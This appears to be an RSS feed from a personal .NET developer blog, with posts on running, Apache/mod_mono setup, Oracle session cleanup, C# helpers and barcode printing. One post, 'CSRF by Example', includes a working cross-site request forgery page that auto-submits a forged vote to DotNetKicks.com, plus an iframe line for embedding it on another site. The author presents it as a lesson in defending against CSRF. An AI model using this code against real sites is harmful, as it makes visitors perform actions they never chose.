<?xml version="1.0" encoding="utf-8"?><rss version="2.0"><channel><title>blog.RunXc</title><link>http://blog.runxc.com:80/</link><description>blog.RunXc</description><item><title>Running with MaraStat.com</title><link>http://blog.runxc.com:80/running-with-marastat.com</link><description>&lt;h1&gt;Running with &lt;a href="http://www.marastat.com"&gt;MaraStat.com&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I have been running a lot more lately, about 60 miles a week or so and have picked up road biking and snow boarding as hobbies.&amp;nbsp;&amp;nbsp; All of this has led to a lot less writing in my blog but a much better balance between life work and kids.&amp;nbsp;&amp;nbsp; I changed my blog over to using OrchardCMS and I think in all reality I made the change a little premature as the blog is not as well formatted as I would have liked.&lt;/p&gt;
&lt;p&gt;I typically like to write smaller one off applications or smaller websites for friends with small businesses in order to learn new technologies and work with something that I don't get the opportunity to use at work.&amp;nbsp; For the past few months I have been trying to fuse my love of running and programming by working on a little startup with some running friends called Marastat.com.&lt;/p&gt;
&lt;h2&gt;Focused on Running Results&lt;/h2&gt;
&lt;p&gt;The idea for MaraStat came from talking about old races with some old running friends.&amp;nbsp; Most of the results from previous races are hard to find so we decided to aggregate a lot of the racing results that can be found so it is easier to see what races you have run and to be able to easily follow some of our racing friends who may or may not be sponsored but are still going out and running a race from time to time.&lt;/p&gt;
&lt;p&gt;In order to try and pay for the hosting we are adding Online Race Registration as we want to keep the site free to use.&lt;/p&gt;
&lt;h2&gt;Keeping the knife sharpened&lt;/h2&gt;
&lt;p&gt;In building the site so far I have used a fair number of open source tools and have to say that I am slowly becoming a fan of knockout.js.&amp;nbsp; I have used it in some of the more complex admin pages for setting up a site and I have really liked how straight forward you can create an ajax enabled rich UI while drawing a line between UI and logic.&amp;nbsp; Anyway if you haven't taken a look at it now is the time.&lt;/p&gt;</description><pubDate>Thu, 29 Mar 2012 22:17:51 GMT</pubDate><guid isPermaLink="true">http://blog.runxc.com:80/running-with-marastat.com</guid></item><item><title>ASP.NET style URL rewriting with Mono and mod_mono and apache2</title><link>http://blog.runxc.com:80/ASPNET-style-URL-rewriting-with-Mono-and-mod_mono-and-apache2</link><description>&lt;h4&gt;Short Story- Mod_mono on apache2 handles URL rewriting as long as it is configured correctly.&lt;/h4&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;Long Story-&amp;#160; If you don?t use SetHandler in your Host or VirtualHost file requests that do not have a physical file existing on the server will never make it to the mono server and your users will always get a 404 error.&amp;#160; Below is an example of a VirtualHost file that demonstrates how you need to set up your .Net/Mono applications.&lt;/p&gt;  &lt;h4&gt;VirtualHost file&lt;/h4&gt;  &lt;br /&gt;  &lt;div class="csharpcode"&gt;   &lt;pre class="alt"&gt;&lt;span class="lnum"&gt;   1:  &lt;/span&gt;&lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;VirtualHost&lt;/span&gt; *&lt;span class="attr"&gt;:80&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;

  &lt;pre&gt;&lt;span class="lnum"&gt;   2:  &lt;/span&gt;    ServerAdmin     email@email.com&lt;/pre&gt;

  &lt;pre class="alt"&gt;&lt;span class="lnum"&gt;   3:  &lt;/span&gt;    ServerName    blog.site.com&lt;/pre&gt;

  &lt;pre&gt;&lt;span class="lnum"&gt;   4:  &lt;/span&gt;    DocumentRoot &amp;quot;/srv/www/site&amp;quot;&lt;/pre&gt;

  &lt;pre class="alt"&gt;&lt;span class="lnum"&gt;   5:  &lt;/span&gt;    HostnameLookups Off&lt;/pre&gt;

  &lt;pre&gt;&lt;span class="lnum"&gt;   6:  &lt;/span&gt;    UseCanonicalName On&lt;/pre&gt;

  &lt;pre class="alt"&gt;&lt;span class="lnum"&gt;   7:  &lt;/span&gt;    MonoApplications blog &amp;quot;blog.site.com:/://srv/www/site&amp;quot;&lt;/pre&gt;

  &lt;pre&gt;&lt;span class="lnum"&gt;   8:  &lt;/span&gt;    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;Directory&lt;/span&gt; &lt;span class="kwrd"&gt;&amp;quot;/srv/www/site&amp;quot;&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;

  &lt;pre class="alt"&gt;&lt;span class="lnum"&gt;   9:  &lt;/span&gt;        MonoSetServerAlias blog&lt;/pre&gt;

  &lt;pre&gt;&lt;span class="lnum"&gt;  10:  &lt;/span&gt;        SetHandler mono&lt;/pre&gt;

  &lt;pre class="alt"&gt;&lt;span class="lnum"&gt;  11:  &lt;/span&gt;        &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;FilesMatch&lt;/span&gt; &lt;span class="kwrd"&gt;&amp;quot;\.(gif||jp?g|png|css|ico|xsl|js|zip|wmv)$&amp;quot;&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;

  &lt;pre&gt;&lt;span class="lnum"&gt;  12:  &lt;/span&gt;            SetHandler None&lt;/pre&gt;

  &lt;pre class="alt"&gt;&lt;span class="lnum"&gt;  13:  &lt;/span&gt;        &lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;FilesMatch&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;

  &lt;pre&gt;&lt;span class="lnum"&gt;  14:  &lt;/span&gt;        AllowOverride None&lt;/pre&gt;

  &lt;pre class="alt"&gt;&lt;span class="lnum"&gt;  15:  &lt;/span&gt;        Order allow,deny&lt;/pre&gt;

  &lt;pre&gt;&lt;span class="lnum"&gt;  16:  &lt;/span&gt;        Allow from all&lt;/pre&gt;

  &lt;pre class="alt"&gt;&lt;span class="lnum"&gt;  17:  &lt;/span&gt;    &lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;Directory&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;

  &lt;pre&gt;&lt;span class="lnum"&gt;  18:  &lt;/span&gt;&lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;VirtualHost&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
.

&lt;p&gt;&amp;#160;&lt;/p&gt;

&lt;p&gt;ONE LAST THING&lt;/p&gt;

&lt;p&gt;If you try to restart apache with the usual command (/etc/init.d/apache restart) you will most likely get an error saying that you can?t connect to the mono dashboard.&amp;#160; To overcome this you need to Enable and then Disable the apache service after editing your VirtualHost file.&amp;#160; This can be done in openSUSE by going to ?&amp;gt;Yast-&amp;gt;Services.&amp;#160; I am not sure about Ubuntu.&lt;/p&gt;</description><pubDate>Wed, 01 Jun 2011 23:10:31 GMT</pubDate><guid isPermaLink="true">http://blog.runxc.com:80/ASPNET-style-URL-rewriting-with-Mono-and-mod_mono-and-apache2</guid></item><item><title>openSUSE vs. Ubuntu for .Net Developers</title><link>http://blog.runxc.com:80/openSUSE-vs-Ubuntu-for-Net-Developers</link><description>&lt;p&gt;I know that everyone has there own opinion on this and that most blogs will give a comparison of the two and at the end will leave the reader to decide.&amp;#160;&amp;#160; I would have to agree that choosing your flavor of Linux depends upon what you want to do and your back ground.&amp;#160;&amp;#160; If you are a .Net developer you should switch from Ubuntu to openSUSE.&amp;#160; Why you might ask??&amp;#160; &lt;/p&gt;  &lt;p&gt;If you want to leverage your existing .Net development skills on Linux then you are going to want to use openSUSE.&amp;#160; Both Ubuntu and openSUSE are well supported.&amp;#160; Ubuntu is more widely used and so you will find more tutorials for Ubuntu but openSUSE has more official tutorials on their site as opposed to blog entries which can also be very helpful.&lt;/p&gt;  &lt;p&gt;What sets openSUSE apart is the fact that Mono the .Net runtime for Linux is created by the same guys (Novell) that create openSUSE.&amp;#160; So if you want the latest greatest mono and you want to get MonoDevelop up and running so that you can write C# code on a Linux machine openSUSE is the way to go.&amp;#160;&amp;#160; Also as an added bonus openSUSE has a lot more gui admin tools for say your firewall so if you are used to Windows switching over to openSUSE is a bit easier from the admin side.&lt;/p&gt;</description><pubDate>Wed, 01 Jun 2011 23:10:31 GMT</pubDate><guid isPermaLink="true">http://blog.runxc.com:80/openSUSE-vs-Ubuntu-for-Net-Developers</guid></item><item><title>Oracle Kill all sessions for a user</title><link>http://blog.runxc.com:80/Oracle-Kill-all-sessions-for-a-user</link><description>&lt;p&gt;I was recently with a client deploying some software and while talking with him he received a non related call asking him to kill all of the Oracle Sessions for a user (some bad application had used up all of the available connections).&amp;#160; Anyway I thought to myself I know how to Kill a session in Oracle and I know how to write a loop with a cursor so I whipped him up a little script to use in the future.&lt;/p&gt;  &lt;h2&gt;Kill all sessions in Oracle script&lt;/h2&gt;  &lt;div class="csharpcode"&gt;   &lt;pre class="alt"&gt;--&lt;span class="kwrd"&gt;Kill&lt;/span&gt; &lt;span class="kwrd"&gt;all&lt;/span&gt; the Oracle connections script&lt;/pre&gt;

  &lt;pre&gt;&lt;span class="kwrd"&gt;DECLARE&lt;/span&gt; &lt;span class="rem"&gt;-- declare variables&lt;/span&gt;&lt;/pre&gt;

  &lt;pre class="alt"&gt;  &lt;span class="kwrd"&gt;CURSOR&lt;/span&gt; c1 &lt;span class="kwrd"&gt;IS&lt;/span&gt;&lt;/pre&gt;

  &lt;pre&gt;  &lt;span class="kwrd"&gt;select&lt;/span&gt; sid, serial# &lt;span class="kwrd"&gt;from&lt;/span&gt; v$&lt;span class="kwrd"&gt;session&lt;/span&gt;&lt;/pre&gt;

  &lt;pre class="alt"&gt;  &lt;span class="kwrd"&gt;where&lt;/span&gt; username=&lt;span class="str"&gt;'ADPE'&lt;/span&gt;;  &lt;span class="rem"&gt;-- declare cursor&lt;/span&gt;&lt;/pre&gt;

  &lt;pre&gt;&lt;span class="rem"&gt;-- declare record variable that represents a row fetched&lt;/span&gt;&lt;/pre&gt;

  &lt;pre class="alt"&gt;   kill_it c1%ROWTYPE; &lt;span class="rem"&gt;-- declare variable with %ROWTYPE attribute&lt;/span&gt;&lt;/pre&gt;

  &lt;pre&gt;&lt;span class="kwrd"&gt;BEGIN&lt;/span&gt;&lt;/pre&gt;

  &lt;pre class="alt"&gt;&lt;span class="rem"&gt;-- open the explicit cursor c1&lt;/span&gt;&lt;/pre&gt;

  &lt;pre&gt;  &lt;span class="kwrd"&gt;OPEN&lt;/span&gt; c1;&lt;/pre&gt;

  &lt;pre class="alt"&gt;  LOOP&lt;/pre&gt;

  &lt;pre&gt;    &lt;span class="kwrd"&gt;FETCH&lt;/span&gt; c1 &lt;span class="kwrd"&gt;INTO&lt;/span&gt; kill_it; &lt;span class="rem"&gt;-- retrieve record&lt;/span&gt;&lt;/pre&gt;

  &lt;pre class="alt"&gt;    &lt;span class="kwrd"&gt;EXIT&lt;/span&gt; &lt;span class="kwrd"&gt;WHEN&lt;/span&gt; c1%NOTFOUND;&lt;/pre&gt;

  &lt;pre&gt;    &lt;span class="kwrd"&gt;BEGIN&lt;/span&gt;&lt;/pre&gt;

  &lt;pre class="alt"&gt;      &lt;span class="kwrd"&gt;EXECUTE&lt;/span&gt; &lt;span class="kwrd"&gt;IMMEDIATE&lt;/span&gt; &lt;span class="str"&gt;'alter system kill session '&lt;/span&gt;&lt;span class="str"&gt;''&lt;/span&gt;||&lt;/pre&gt;

  &lt;pre&gt;       kill_it.sid||&lt;span class="str"&gt;', '&lt;/span&gt;||kill_it.serial#||&lt;span class="str"&gt;''&lt;/span&gt;&lt;span class="str"&gt;''&lt;/span&gt;;&lt;/pre&gt;

  &lt;pre class="alt"&gt;    &lt;span class="kwrd"&gt;END&lt;/span&gt;;&lt;/pre&gt;

  &lt;pre&gt;  &lt;span class="kwrd"&gt;END&lt;/span&gt; LOOP;&lt;/pre&gt;

  &lt;pre class="alt"&gt;  &lt;span class="kwrd"&gt;CLOSE&lt;/span&gt; c1;&lt;/pre&gt;

  &lt;pre&gt;&lt;span class="kwrd"&gt;END&lt;/span&gt;;&lt;/pre&gt;
&lt;/div&gt;
&lt;style type="text/css"&gt;
.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p&gt;May this save you time in the future&lt;/p&gt;</description><pubDate>Wed, 01 Jun 2011 23:10:30 GMT</pubDate><guid isPermaLink="true">http://blog.runxc.com:80/Oracle-Kill-all-sessions-for-a-user</guid></item><item><title>CSRF by Example, How to do it, How to defend it</title><link>http://blog.runxc.com:80/CSRF-by-Example-How-to-do-it-How-to-defend-it</link><description>&lt;p&gt;For a little bit of background I would recommend that you read the article that I originally wrote titled &lt;a href="http://blog.runxc.com/post/2009/05/22/XSS-by-Example-(Cross-Site-Scripting).aspx" target="_blank"&gt;XSS by Example&lt;/a&gt;.&amp;#160;&amp;#160; I was originally intrigued by Cross Site Scripting&amp;#160; and decided to give it a try.&amp;#160; As dblackshell pointed out in the comments what I had originally attempted was CSRF or Cross Site Request Forgery.&amp;#160; Following the link he put in the article and reading up a bit more I finally figured out how to perform a Cross Site Request Forgery to kick an Article at DotNetKicks.com (a rating site similar to Digg for .Net developers).&lt;/p&gt;  &lt;h2&gt;CSRF what didn't work&lt;/h2&gt;  &lt;p&gt;If you read my previous article you would have seen my first two failed attempts at CSRF.&amp;#160;&amp;#160; In one attempt I tried a cross site AJAX post which the browser wouldn't allow.&amp;#160; In my second attempt I tried to load DotNetKicks in an IFrame and then manipulate it from my web page which the browser didn't allow.&lt;/p&gt;  &lt;h2&gt;CSRF what did work&lt;/h2&gt;  &lt;p&gt;I knew that the request needed to be a post so what I finally ended up getting to work was a Form with an action that posted the values to DotNetKicks.com.&amp;#160;&amp;#160; Below is an image from Firebug showing the request that I needed to forge.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://blog.runxc.com/image.axd?picture=image.png"&gt;&lt;img title="image" style="border-right: 0px; border-top: 0px; display: inline; border-left: 0px; border-bottom: 0px" height="90" alt="image" src="http://blog.runxc.com/image.axd?picture=image_thumb.png" width="628" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;h2&gt;AJAX can make CSRF difficult&lt;/h2&gt;  &lt;p&gt;If you are familiar with Firebug than you can clearly tell that the post above is an AJAX post using JSON and not simply a name value pair.&amp;#160; At first I had a difficult time duplicating the request as the following type of form would not work.&lt;/p&gt;  &lt;p&gt;   &lt;div class="wlWriterEditableSmartContent" id="scid:812469c5-0cb0-4c63-8c15-c81123a09de7:4793f5e4-6fcf-48da-a4d6-1eace1030bc2" style="padding-right: 0px; display: inline; padding-left: 0px; float: none; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;&lt;pre name="code" class="xml"&gt;&amp;lt;form&amp;gt;
&amp;lt;input type="hidden" name="id" value="1" /&amp;gt;
&amp;lt;input type="hidden" name="method" value="kickStory" /&amp;gt;
&amp;lt;input type="hidden" name="params" value="41812" /&amp;gt;
&amp;lt;input type="hidden" name="params" value="true" /&amp;gt;
&amp;lt;/form&amp;gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/p&gt;

&lt;p&gt;&amp;#160;&lt;/p&gt;

&lt;p&gt;What I finally got to work was an input element with a blank name and a value of the JSON string that I wanted to replicate.&amp;#160; Below is the code that will vote for whatever article you choose.&lt;/p&gt;

&lt;p&gt;
  &lt;div class="wlWriterEditableSmartContent" id="scid:812469c5-0cb0-4c63-8c15-c81123a09de7:92aad5ed-057b-473a-9c17-947d40d0b45b" style="padding-right: 0px; display: inline; padding-left: 0px; float: none; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;&lt;pre name="code" class="xml"&gt;&amp;lt;html xmlns="http://www.w3.org/1999/xhtml"&amp;gt;
&amp;lt;head id="Head1" runat="server"&amp;gt;
    &amp;lt;title&amp;gt;RunXc CSRF example&amp;lt;/title&amp;gt;
    &amp;lt;script type="text/javascript" 
    src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"&amp;gt;&amp;lt;/script&amp;gt;
    &amp;lt;script type="text/javascript"&amp;gt;
        $(document).ready(function() {
        var kickit = location.search.substring(4);
        $('#hidDiv').html(
             '&amp;lt;form name="csrf" id="csrf" ' +
             'action="http://dotnetkicks.com/services/ajax/ajaxservices.ashx" method="post"&amp;gt;' +
             ' &amp;lt;input type="hidden" name="" value=' + "'" + 
             '{"id":1,"method":"kickStory","params":['+ kickit +',true]}' + "'" + '/&amp;gt;' +
             ' &amp;lt;/form&amp;gt;');
            document.getElementById("csrf").submit();
        });

    &amp;lt;/script&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;form id="form1" runat="server"&amp;gt;
    &amp;lt;div&amp;gt;
    &amp;lt;/div&amp;gt;
    &amp;lt;/form&amp;gt;
     &amp;lt;div id="hidDiv" style="display:none;"&amp;gt;
     &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/p&gt;

&lt;p&gt;If you create an ASPX page using the html above you can coerce anyone on your website to kick an article of your choosing (as long as they are still logged on at DotNetKicks.com. remember that is how CSRF works) with a simple Iframe somewhere else on your site that looks like this. &lt;/p&gt;

&lt;div class="wlWriterEditableSmartContent" id="scid:812469c5-0cb0-4c63-8c15-c81123a09de7:6ec79d16-a83e-44ca-b26a-d104bb7db2a5" style="padding-right: 0px; display: inline; padding-left: 0px; float: none; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;&lt;pre name="code" class="xml"&gt;&amp;lt;iframe id="dnk" name="dnk" src="csrf.aspx?id=43310" &amp;gt;&amp;lt;/iframe&amp;gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;&amp;#160;&lt;/h2&gt;

&lt;h2&gt;Now that I know this what should I do?&lt;/h2&gt;

&lt;p&gt;Information is power.&amp;#160;&amp;#160; I hope with this little script that anyone who has a website that could be targeted by&amp;#160; CSRF that they might be able to hack their own site and then figure out how to protect their site from it.&amp;#160; You need to understand how hackers will attack your site to be able to protect yourself from it.&amp;#160; I know that you can use a hidden field and validate the value against what you sent out but I would like to know what others are doing to protect against this kind of attack.&lt;/p&gt;</description><pubDate>Wed, 01 Jun 2011 23:10:30 GMT</pubDate><guid isPermaLink="true">http://blog.runxc.com:80/CSRF-by-Example-How-to-do-it-How-to-defend-it</guid></item><item><title>TryParse a string to a nullable type (DateTime, int, Decimal, etc)</title><link>http://blog.runxc.com:80/TryParse-a-string-to-a-nullable-type-(DateTime-int-Decimal-etc)</link><description>&lt;p&gt;When collecting information from a form and saving it to the database I often run into scenarios where I want to parse the user input into a Nullable Type as some of the fields in my database are nullable.&amp;#160; If you are trying to do the same the following generic method will get you up and running in no time.&amp;#160; This will help you parse a string to int? (nullable int), string to decimal?, string to DateTime? etc.&lt;/p&gt;  &lt;div class="wlWriterEditableSmartContent" id="scid:812469c5-0cb0-4c63-8c15-c81123a09de7:580e3aa9-0872-43cd-a389-5b1135b25d67" style="padding-right: 0px; display: inline; padding-left: 0px; float: none; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;&lt;pre name="code" class="c#"&gt;public static Nullable&amp;lt;T&amp;gt; TryParseStruct&amp;lt;T&amp;gt;(string input)
where T : struct
{
    Nullable&amp;lt;T&amp;gt; result = new Nullable&amp;lt;T&amp;gt;();
    if (string.IsNullOrEmpty(input))
        return result;

    try
    {
        IConvertible convertibleString = (IConvertible)input;
        result = new Nullable&amp;lt;T&amp;gt;((T)convertibleString.ToType(typeof(T), CultureInfo.CurrentCulture));
    }
    catch (InvalidCastException)
    {

    }
    catch (FormatException)
    {

    }

    return result;
}&lt;/pre&gt;&lt;/div&gt;</description><pubDate>Wed, 01 Jun 2011 23:10:30 GMT</pubDate><guid isPermaLink="true">http://blog.runxc.com:80/TryParse-a-string-to-a-nullable-type-(DateTime-int-Decimal-etc)</guid></item><item><title>Exporting a DataTable to Excel (DataTable to CSV)</title><link>http://blog.runxc.com:80/Exporting-a-DataTable-to-Excel-(DataTable-to-CSV)</link><description>&lt;p&gt;It seems like each time I need to do this in a project (that is create an Excel file from a GridView or SQL Query) I have to look for my little snippet on how to do this in a reusable manner.&amp;#160; Well here you go a nice Extension Method that will return CSV from any System.Data.DataTable.&lt;/p&gt;  &lt;div class="wlWriterEditableSmartContent" id="scid:812469c5-0cb0-4c63-8c15-c81123a09de7:53a5295b-dff2-4bc9-a570-2cb6d7760e2e" style="padding-right: 0px; display: inline; padding-left: 0px; float: none; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;&lt;pre name="code" class="c#"&gt;public static String ToCSV(this DataTable dt)
{
    StringBuilder sb = new StringBuilder();

    for (int x = 0; x &amp;lt; dt.Columns.Count; x++)
    {
        if (x != 0)
            sb.Append(",");
        sb.Append(dt.Columns[x].ColumnName);
    }
    sb.AppendLine();
    foreach (DataRow row in dt.Rows)
    {
        for (int x = 0; x &amp;lt; dt.Columns.Count; x++)
        {
            if (x != 0)
                sb.Append(",");
            sb.Append(row[dt.Columns[x]].ToString());
        }

        sb.AppendLine();
    }
    return sb.ToString();
}&lt;/pre&gt;&lt;/div&gt;</description><pubDate>Wed, 01 Jun 2011 23:10:30 GMT</pubDate><guid isPermaLink="true">http://blog.runxc.com:80/Exporting-a-DataTable-to-Excel-(DataTable-to-CSV)</guid></item><item><title>Forcing a GridView to use clean html for use with jQuery plug-ins</title><link>http://blog.runxc.com:80/Forcing-a-GridView-to-use-clean-html-for-use-with-jQuery-plug-ins</link><description>&lt;p&gt;One of the problems of using a GridView with a lot of the table plug-ins for jQuery or any other JavaScript table library is that the library expects your html to be well formatted with your table headers appearing within a thead.&amp;#160; Example below.&lt;/p&gt;  &lt;div class="wlWriterEditableSmartContent" id="scid:812469c5-0cb0-4c63-8c15-c81123a09de7:a2596f28-64c6-4f87-9ed7-74bafe6b3f5e" style="padding-right: 0px; display: inline; padding-left: 0px; float: none; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;&lt;pre name="code" class="xml"&gt;&amp;lt;table&amp;gt;
	&amp;lt;thead&amp;gt;
		&amp;lt;tr&amp;gt;&amp;lt;th&amp;gt;Header&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;
	&amp;lt;/thead&amp;gt;
	&amp;lt;tbody&amp;gt;
		&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Data&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;
	&amp;lt;/tbody&amp;gt;
&amp;lt;/table&amp;gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&amp;#160;&lt;/p&gt;

&lt;p&gt;The problem is that a GridView does not format the table correctly.&amp;#160; Below is a simple Extension Method used to clean up after your GridView to make it output clean html for use with JavaScript table frameworks.&lt;/p&gt;

&lt;h2&gt;GridView Extension method for clean html output&lt;/h2&gt;

&lt;p&gt;&amp;#160;&lt;/p&gt;

&lt;div class="wlWriterEditableSmartContent" id="scid:812469c5-0cb0-4c63-8c15-c81123a09de7:a6b96d95-5c6e-428f-bed8-b78bce4240e6" style="padding-right: 0px; display: inline; padding-left: 0px; float: none; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;&lt;pre name="code" class="c#"&gt;public static void FixThead(this GridView grid)
{
    if (grid.Rows.Count &amp;gt; 0)
    {
        //This replaces &amp;lt;td&amp;gt; with &amp;lt;th&amp;gt; and adds the scope attribute
        grid.UseAccessibleHeader = true;
        grid.HeaderRow.TableSection = TableRowSection.TableHeader;
    }
}&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&amp;#160;&lt;/p&gt;

&lt;p&gt;There you have it is as easy as that.&lt;/p&gt;</description><pubDate>Wed, 01 Jun 2011 23:10:30 GMT</pubDate><guid isPermaLink="true">http://blog.runxc.com:80/Forcing-a-GridView-to-use-clean-html-for-use-with-jQuery-plug-ins</guid></item><item><title>Google Adsense average Click Through Rate (CTR)</title><link>http://blog.runxc.com:80/Google-Adsense-average-Click-Through-Rate-(CTR)</link><description>&lt;p&gt;I recently signed up with Google Adsense mainly for my own research purposes as I am curious as to what percentage of users actually click on the ads.&amp;#160;&amp;#160; Now I have just barely signed up with Google Adsense and I have only had 200 page views at the date of this post but I plan to update this article with click through rates on a monthly basis.&amp;#160; So far as you can see I have two small adds mixed in the menu of my page.&amp;#160; If you would like to post your own stats please do so in the comments.&lt;/p&gt;  &lt;p&gt;06/04/2009&lt;/p&gt;  &lt;p&gt;200 page impressions - 0 clicks - $0 income.&lt;/p&gt;  &lt;p&gt;06/24/2009&lt;/p&gt;  &lt;p&gt;1100 page impressions - 0 clicks - $0.02 income total&lt;/p&gt;  &lt;p&gt;08/05/2009&lt;/p&gt;  &lt;p&gt;4201 page impressions - 2 clicks - $2.10 income total&lt;/p&gt;</description><pubDate>Wed, 01 Jun 2011 23:10:30 GMT</pubDate><guid isPermaLink="true">http://blog.runxc.com:80/Google-Adsense-average-Click-Through-Rate-(CTR)</guid></item><item><title>Printing Barcodes with Crystal Reports.  Examples in .Net C#</title><link>http://blog.runxc.com:80/Printing-Barcodes-with-Crystal-Reports-Examples-in-Net-C</link><description>&lt;p&gt;A very common requirement for applications is the need to print out a barcode using Crystal Reports or some other medium so that users can track products, inventory etc.&amp;#160; The following tutorial should get you from 0-60 in about 4.5 seconds.&lt;/p&gt;  &lt;h2&gt;Choose your Barcode&lt;/h2&gt;  &lt;p&gt;All of the following Barcodes will be easily read by your scanner.&lt;/p&gt;  &lt;h4&gt;Alphanumeric&lt;/h4&gt;  &lt;p&gt;Code 39 (3 of 9)- Probably the simplest to use bar code that allows variable lengths.&amp;#160; Text must be surrounded by an "*" aka "*RUNXC123*" for bar code readers to use it.&lt;/p&gt;  &lt;p&gt;Code 128 - Recommended for general use code 128 includes a checksum and is much more compact than Code 39.&lt;/p&gt;  &lt;h4&gt;Numeric&lt;/h4&gt;  &lt;p&gt;Code 25 - A very simple numeric bar code of variable length.&lt;/p&gt;  &lt;p&gt;Others. there are plenty of other bar codes and if you need to know more about them here is a &lt;a href="http://en.wikipedia.org/wiki/Barcode" target="_blank"&gt;Wikipedia article on them&lt;/a&gt;.&lt;/p&gt;  &lt;h2&gt;Fonts or Images&lt;/h2&gt;  &lt;p&gt;Fonts-&amp;#160; In an ideal world I think that the use of fonts would be the preferred method but there are a couple of downsides with using fonts.&amp;#160;&amp;#160; &lt;/p&gt;  &lt;p&gt;1. The font you decide to use will most likely need to be installed on !EVERY! computer that uses the report.&lt;/p&gt;  &lt;p&gt;2.Even if you use a font you will still need to encode the text used in your barcode.&amp;#160; While this is easy using Code 39 most other barcodes require a checksum which must be calculated and added as characters that match the checksum.&lt;/p&gt;  &lt;p&gt;3.Fonts cost money!&amp;#160; They seem quiet simple and you can find a font called "FREE 3 of 9" but it is difficult to find any other free TrueType fonts for other barcodes like UPC, Code 25 or Code 128.&lt;/p&gt;  &lt;h4&gt;Images-&lt;/h4&gt;  &lt;p&gt; Images solve most all of the problems associated with using fonts but they do pose one problem.&amp;#160; Images are much more fixed in size.&amp;#160; Using most Open Source barcode libraries you can make the image larger by adjusting the barcode weight but you can not make the image smaller.&amp;#160; &lt;/p&gt;  &lt;h2&gt;Lessons Learned&lt;/h2&gt;  &lt;p&gt;In my situation I decided to use an image and Barcode 128 as some of my barcodes were 20 characters in length.&lt;/p&gt;  &lt;h4&gt;Resizing the image will most likely result in it being un-readable.&amp;#160; I tried resizing the image(which was already using the minimum barcode weight of 1) in Crystal Reports as well as with C#.&amp;#160;&amp;#160; If you have been able to resize an image by 50% and were able to still read it I would like to see your code as I tried 4-5 ways of doing it with unfavorable results each time.&lt;/h4&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;h2&gt;Code Example&lt;/h2&gt;  &lt;div class="wlWriterEditableSmartContent" id="scid:812469c5-0cb0-4c63-8c15-c81123a09de7:bb375af5-aa41-4b0c-bc5a-fd2c22e6ca2f" style="padding-right: 0px; display: inline; padding-left: 0px; float: none; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;&lt;pre name="code" class="c#"&gt;DataTable dt = new DataTable("BarLabel");
dt.Load(reader);

dt.Columns.Add("image", System.Type.GetType("System.Byte[]"));
foreach (DataRow dr in dt.Rows)
{
    string text = dr[0].ToString();
    using (MemoryStream ms = new MemoryStream())
    {
        Code128BarcodeDraw drw = BarcodeDrawFactory.Code128WithChecksum;
        using (Image myimg = GenCode128.Code128Rendering.MakeBarcodeImage(text, 1, true))
        {
            myimg.Save(ms, System.Drawing.Imaging.ImageFormat.Bmp);
            dr["image"] = ms.ToArray();
        }
    }

}

crystalReport.Database.Tables[0].SetDataSource(dt);&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&amp;#160;&lt;/p&gt;

&lt;h3&gt;Extra Info&lt;/h3&gt;

